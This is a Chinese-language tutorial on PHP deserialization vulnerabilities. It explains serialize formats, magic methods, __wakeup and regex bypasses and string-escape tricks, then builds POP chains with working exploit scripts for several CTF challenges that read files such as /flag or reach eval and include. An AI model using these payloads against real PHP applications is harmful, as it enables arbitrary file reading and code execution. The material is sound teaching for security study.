# PHP Unserialize
# 什么是序列化和反序列化
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
# serialize 的特征
常见的序列化格式有
二进制格式
字节数组
json 字符串
xml 字符串
常见的数组样例
1 2 3 4 5 <?php $user =array ('xiao' ,'shi' ,'zi' );$user =serialize ($user );echo ($user .PHP_EOL);print_r (unserialize ($user ));
输出 a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
1 2 3 4 a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";} a:array代表是数组,后面的3说明有三个属性 i:代表是整型数据int,后面的0是数组下标 s:代表是字符串,后面的4是因为xiao长度为4
数据类型对应提示符
字符串:s
已转义字符串:S
整数:i
布尔值: b
空值:N
数组:a
对象:O
引用: R
关于非公有字段名称:
private
使用:私有的类的名称 (考虑到继承的情况) 和字段名组合 \x00类名称\x00字段名
protected
使用: *
和字段名组合 \x00*\x00字段名
# 魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构 造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名 的方法可以作为 __constuct 调用但 __construct 方法优先 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 __debugInfo() //在使用 var_dump, print_r 时会被调用 __set_state() // 调用var_export()导出类时,此静态方法会被调用 __clone() // 当对象复制完成时调用 __autoload() // 尝试加载未定义的类
# 反序列化绕过
# php7.1 + 反序列化对类属性不敏感
我们前面说了如果变量前是 protected,序列化结果会在变量名前加上 \x00*\x00
但在特定版本 7.1 以上则对于类属性不敏感,比如下面的例子即使没有 \x00*\x00
也依然会输出 abc
1 2 3 4 5 6 7 8 9 10 11 <?php class test { protected $a ; public function __construct ( ) { $this ->a = 'abc' ; } public function __destruct ( ) { echo $this ->a; } } unserialize ('O:4:"test":1:{s:1:"a";s:3:"abc";}' );
# 绕过__wakeup (CVE-2016-7124)
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $a ; public function __construct ( ) { $this ->a = 'abc' ; } public function __wakeup ( ) { $this ->a='666' ; } public function __destruct ( ) { echo $this ->a; } }
如果执行 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为 666
而把对象属性个数的值增大执行 unserialize('O:4:"test":2{s:1:"a";s:3:"abc";}');
输出结果为 abc
# 绕过部分正则
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头,这在曾经的 CTF 中也出过类似的考点
・利用加号绕过(注意在 url 里传参时 + 要编码为 %2B)
・serialize (array (a) ) ; // a));//a));//a 为要反序列化的对象 (序列化结果开 头是 a,不影响作为数组元素的 $a 的析构)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class test { public $a ; public function __construct ( ) { $this ->a = 'abc' ; } public function __destruct ( ) { echo $this ->a.PHP_EOL; } } function match ($data ) { if (preg_match ('/^O:\d+/' ,$data )){ die ('you lose!' ); }else { return $data ; } } $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}' ;$b = str_replace ('O:4' ,'O:+4' , $a );unserialize (match ($b ));unserialize ('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}' );
# 十六进制绕过字符匹配
可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Read { public $name ; public function __wakeup ( ) { if ($this ->name == "flag" ) { echo "You did it!" ; } } } $str = '' ;if (strpos ($str , "flag" ) === false ){ $obj = unserialize ($str ); } else { echo "You can't do it!" ; }
这里检测了是否包含 flag
字符,我们可以尝试使用 flag
的十六进制 \66\6c\61\67
来绕过,构造以下:
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'
可以用下面 python 脚本将字符串转化为 Hex
1 2 str = input ('Enter a string: ' )print ('\\' + str .encode('utf-8' ).hex ('\\' ))
# 利用‘引用’
对于需要判断两个变量是否相等时,我们可以考虑使用引用来让两个变量始终相等.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { public $a ; public $b ; public function __construct ( ) { $this ->a = 'abc' ; $this ->b= &$this ->a; } public function __destruct ( ) { if ($this ->a===$this ->b){ echo 666 ; } } } $a = serialize (new test ());
上面这个例子将 $b
设置为 $a
的引用,可以使 $a
永远与 $b
相等
# php 反序列化字符逃逸
# 情况一:过滤后字符过多
例如以下情形:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function change ($str ) { return str_replace ("x" ,"xx" ,$str ); } $name = $_GET ['name' ];$age = "I am 11" ;$arr = array ($name ,$age );echo "反序列化字符串:" ;var_dump (serialize ($arr ));echo "<br/>" ;echo "过滤后:" ;$old = change (serialize ($arr ));$new = unserialize ($old );var_dump ($new );echo "<br/>此时,age=$new [1]" ;
正常情况,传入 name=mao
如果此时多传入一个 x 的话会怎样,毫无疑问反序列化失败,由于溢出 (s 本来是 4 结果多了一个字符出来),我们可以利用这一点实现字符串逃逸
那我们传入 name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
传入 name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}
这一部分一共二十个字符
由于一个 x 会被替换为两个,我们输入了一共 20 个 x,现在是 40 个,多出来的 20 个 x 其实取代了我们的这二十个字符 ";i:1;s:6:"woaini";}
,从而造成 ";i:1;s:6:"woaini";}
的溢出,而 " 闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出 woaini
最后的;} 闭合反序列化全过程导致原来的 ";i:1;s:7:"I am 11";}"
被舍弃,不影响反序列化过程
# 情况二:过滤后字符变少
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function change ($str ) { return str_replace ("xx" ,"x" ,$str ); } $arr ['name' ] = $_GET ['name' ];$arr ['age' ] = $_GET ['age' ];echo "反序列化字符串:" ;var_dump (serialize ($arr ));echo "<br/>" ;echo "过滤后:" ;$old = change (serialize ($arr ));var_dump ($old );echo "<br/>" ;$new = unserialize ($old );var_dump ($new );echo "<br/>此时,age=" ;echo $new ['age' ];
正常情况传入 name=mao&age=11
的结果
构造一下
简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是 age 序列化后的结果
s:3:“age”;s:28:“11”;s:3:“age”;s:6:“woaini”;}"
由于前面是 40 个 x 所以导致少了 20 个字符,所以需要后面来补上, ";s:3:"age";s:28:"
11 这一部分刚好 20 个,后面由于有" 闭合了前面因此后面的参数就可以由我们自定义执行了
# 利用不完整类绕过序列化回旋镖
当存在 serialize(unserialize($x)) != $x
这种很神奇的东西时,我们可以利用不完整类 __PHP_Incomplete_Class
来进行处理
当我们尝试反序列化到一个不存在的类是,PHP 会使用 __PHP_Incomplete_Class_Name
这个追加的字段来进行存储
我们于是可以尝试自己构造一个不完整类
1 2 3 4 <?php $raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}' ;$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}' ;var_dump (serialize (unserialize ($raw )) == $exp );
这样就可以绕过了
更近一步,我们可以通过这个让一个对象被调用后凭空消失,只需要手动构造无 __PHP_Incomplete_Class_Name
的不完整对象
# serialize () 函数在处理 __PHP_Incomplete_Class
对象时所进行的特殊操作
unserialize () 在发现当前 PHP 上下文中没有包含相关类的类定义时将创建一个 __PHP_Incomplete_Class
对象。而 serialize () 在发现需要进行序列化的对象是 __PHP_Incomplete_Class
后,将对其进行 特殊处理 以得到描述实际对象而非 __PHP_Incomplete_Class
对象的序列化文本,而这里就包含了 将属性的描述值减一 这一步。
那么对象所属类的名称是否会发生替换,序列化文本中的 __PHP_Incomplete_Class_Name
是否会被自动删除以使得序列化文本中的属性个数描述值与实际相符呢?对此,请参考如下示例:
1 2 3 <?php var_dump (serialize (unserialize ('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}' )));
执行结果
1 string (69 ) "O:7:" MyClass":2:{s:4:" name";s:8:" RedHeart";s:6:" nation";s:5:" China";}"
结合前面观察到的种种现象,我们可以总结出 serialize () 函数对 __PHP_Incomplete_Class 对象执行了如下 特殊操作(操作描述顺序并非 serialize 函数的实际操作顺序):
将 __PHP_Incomplete_Class
对象中的 属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值。
将 __PHP_Incomplete_Class
对象的 __PHP_Incomplete_Class_Name
作为序列化文本中 对象所属类的描述值。若未从 __PHP_Incomplete_Class
对象 中检查到 __PHP_Incomplete_Class_Name
属性,则跳过此步。
将 __PHP_Incomplete_Class
对象的序列化文本中对 __PHP_Incomplete_Class_Name
属性的描述删去。若没有发现相关描述,则跳过此步。
关于 __PHP_Incomplete_Class
更详细的介绍 <PHP 反序列化漏洞:__PHP_Incomplete_Class 与 serialize (unserialize ($x)) !== $x >
# 对象注入
当用户的请求在传给反序列化函数 unserialize()
之前没有被正确的过滤时就会产生漏洞。因为 PHP 允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize
函数,最终导致一个在该应用范围内的任意 PHP 对象注入。
对象漏洞 出现得满足两个前提
1、 unserialize
的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
比如:
1 2 3 4 5 6 7 8 9 <?php class A { var $test = "y4mao" ; function __destruct ( ) { echo $this ->test; } } $a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}' ;unserialize ($a );
在脚本运行结束后便会调用 _destruct
函数,同时会覆盖 test 变量输出 maomi
# POP
# ———— 魔法函数 ———
我需要再次提出魔法函数并且需要细致的解释供我更加深刻的理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先 __destruct() //对象被销毁时触发(对象不再被引用(unset),脚本执行结束)(当存在__destruct时,头一般是他) __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据(比如访问private属性或者不存在的属性的值时)或者不存在这个键($this->str['str']->source)都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发(输出一个对象、属性,将对象或属性与字符串拼接,对对象或属性进行正则匹配) __invoke() //当尝试将对象(属性)调用为函数时触发 __debugInfo() //在使用 var_dump, print_r 时会被调用 __set_state() // 调用var_export()导出类时,此静态方法会被调用 __clone() // 当对象复制完成时调用 __autoload() // 尝试加载未定义的类
会发现,我在很多魔法函数的触发方式的解释中对象后面都加了(属性),这与 php 官方手册和其他博客文章的解释有些许不同,在查找资料时产生了很多疑惑,比如我翻阅的其中一篇博客:
原文说此处触发了 __toString
函数,可明明只是将属性当作字符串,
再比如同一篇文章的另一处:
触发了 __invoke
函数
在与小伙伴讨论之后,认为可以将属性看作对象
在弄清楚各种魔法函数触发条件之后就要开始构建 pop 链了
# POP 链
POP 链构造首先就是要找到头和尾,也就是用户能传入参数的地方(头)和最终要执行函数方法的地方(尾)。找到头尾之后进行反推过程,从尾部开始一步步找到能触发上一步的地方,直到找到传参处,此时完整的 POP 链就显而易见了。CTF 赛中一般尾部就是 get flag 的方法,头部则是 GET/POST 传参
举个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file (__FILE__ );class Hello { public $source ; public $str ; public function __construct ($name ) { $this ->str=$name ; } public function __destruct ( ) // 1. destruct 函数为pop 链头 { $this ->source=$this ->str; echo $this ->source; } } class Show { public $source ; public $str ; public function __toString ( ) // 2 { $content = $this ->str['str' ]->source; return $content ; } } class Uwant { public $params ; public function __construct ( ) { $this ->params='phpinfo();' ; } public function __get ($key ) { return $this ->getshell ($this ->params); } public function getshell ($value ) // 4 { eval ($this ->params); } } $a = $_GET ['a' ]; unserialize ($a );?>
先找链子的头和尾,头部明显是 GET 传参,尾部是 Uwant
类中的 getshell
,然后往上倒推, Uwant
类中的 __get()
中调用了 getshell
, Show
类中的 toString
调用了 __get()
,然后 Hello
类中的 __destruct()
,而我们 GET 传参之后会先进入 __destruct()
,这样子头和尾就连上了,所以说完整的链子就是:
1 头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Hello { public $source ; public $str ; } class Show { public $source ; public $str ; } class Uwant { public $params ='phpinfo();' ; } $a = new Hello ();$b = new Show ();$c = new Uwant ();$a -> str = $b ;$b -> str['str' ] = $c ;echo urlencode (serialize ($a ));
# 例题
# newstarctf 2023 week3 | POP Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php class Begin { public $name ; public function __destruct ( ) //对象被销毁时触发 { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func ; public function __toString ( ) //把对象当作字符串时触发 { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __call ($func , $vars ) //调用不可访问的方法时触发 { $this ->obj->end (); } } class Super { protected $obj ; public function __invoke ( ) //将对象调用为函数时触发 { $this ->obj->getStr (); } public function end ( ) //错误的end 函数 { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function end ( ) // 正确的end 函数 { unset ($this ->handle->log); } } class WhiteGod { public $func ; public $var ; public function __unset ($var ) //在不可访问的属性上使用unset ( )时触发 { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
由此可以构造出 POP 链子
1 Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
由于链子调用中成员属性有 private 和 protected,用 construct 方法去调用链子,最后再使用 url 编码绕过
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class Begin { public $name ; public function __construct ($a ) { $this ->name = $a ; } } class Then { private $func ; public function __construct ($a ) { $this ->func= $a ; } } class Handle { protected $obj ; public function __construct ($a ) { $this ->obj = $a ; } } class Super { protected $obj ; public function __construct ($a ) { $this ->obj = $a ; } } class CTF { public $handle ; public function __construct ($a ) { $this ->handle = $a ; } } class WhiteGod { public $func ; public $var ; public function __construct ($a , $b ) { $this ->func = $a ; $this ->var = $b ; } } $a = new Begin (new Then (new Super (new Handle (new CTF (new WhiteGod ("readfile" ,"/flag" ))))));echo urlencode (serialize ($a ));
稍微总结一下,POP 链的头一般是 GET/POST 传参引发 __wakeup
, __construct
, __destruct
结尾一般是输出敏感信息或者执行系统命令所在函数,即 GetFlag 的点
# [MRCTF2020]Ezpop1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Welcome to index.php <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
先找出可以 getflag 的点,在 Modifier
类中 append
函数有 include
函数可以文件包含,可以利用, __invoke
函数直接调用了 append
,在 Testlei 中 __get
将 p 作为函数调用,会触发 __invoke
, 在 __totring
方法中 $this->str
赋予 test
类,在 test
类读取 source
变量,(因为 test
类中没有 source
属性,则是访问了不可访问的属性)则会自动调用 __get
魔术方法, __wakeup
函数将对象进行正则匹配,会触发 __toString
,而 __wakeup
在反序列化时会调用,可以当作 pop 链头,而尾时 include
函数,可以利用 var
构造 php 为协议获取 flag
pop 链:
1 Show:__wakeup -> Show:__toString -> Test:__get -> Modifier:__invoke ->Modifier: append
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Modifier { protected $var ='php://filter/read=convert.base64-encode/resource=flag.php' ; } class Show { public $source ; public $str ; function _construct ( ) { $this ->source=$file ; } } class Test { public $p ; } $a = new show ();$b = new show ();$c = new test ();$d = new Modifier (); $a ->source=$b ;$b ->str=$c ;$c ->p= $d ; echo urlencode (serialize ($a )); ?>
# 2021 强网杯 赌徒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <meta charset="utf-8" > <?php error_reporting (1 );class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; public function __construct ( ) { echo "I think you need /etc/hint . Before this you need to see the source code" ; } public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello (); } public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ; } } class Info { private $phonenumber =123123 ; public $promise ='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; } } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; public function __get ($name ) { $function = $this ->a; return $function (); } public function Get_hint ($file ) { $hint =base64_encode (file_get_contents ($file )); echo $hint ; return ; } public function __invoke ( ) { $content = $this ->Get_hint ($this ->filename); echo $content ; } } if (isset ($_GET ['hello' ])){ unserialize ($_GET ['hello' ]); }else { $hi = new Start (); } ?>
尾部可以看到 Room
类中有个 Get_hint()
方法,里面有一个 file_get_contents
,可以实现任意文件读取,我们就可以利用这个读取 flag 文件了,然后就是往前倒推, Room
类中 __invoke()
方法调用了 Get_hint()
,然后 Room
类的 __get()
里面有个 return $function()
可以调用 __invoke()
,再往前看, Info
类中的 __toString()
中有 Room
类中不存在的属性,所以可以调用 __get()
,然后 Start
类中有个 _sayhello()
可以调用 __toString()
,然后在 Start
类中 __wakeup()
方法中直接调用了 _sayhello()
,而我们知道的是,输入字符串之后就会先进入 __wakeup()
1 头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; } class Info { private $phonenumber =123123 ; public $promise ='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; } $a = new Start ();$b = new Info ();$c = new Room ();$d = new Room ();$a -> name = $b ;$b -> file['filename' ] = $c ;$c -> a = $d ;echo urlencode (serialize ($a ));?>
在构建 pop 链时,除 __construct
函数一般不需要写出, 变量的权限与源码保持一致,在串联对象时,需要与源码的对应关系保持一致,比如: $b -> file['filename'] = $c;
————END————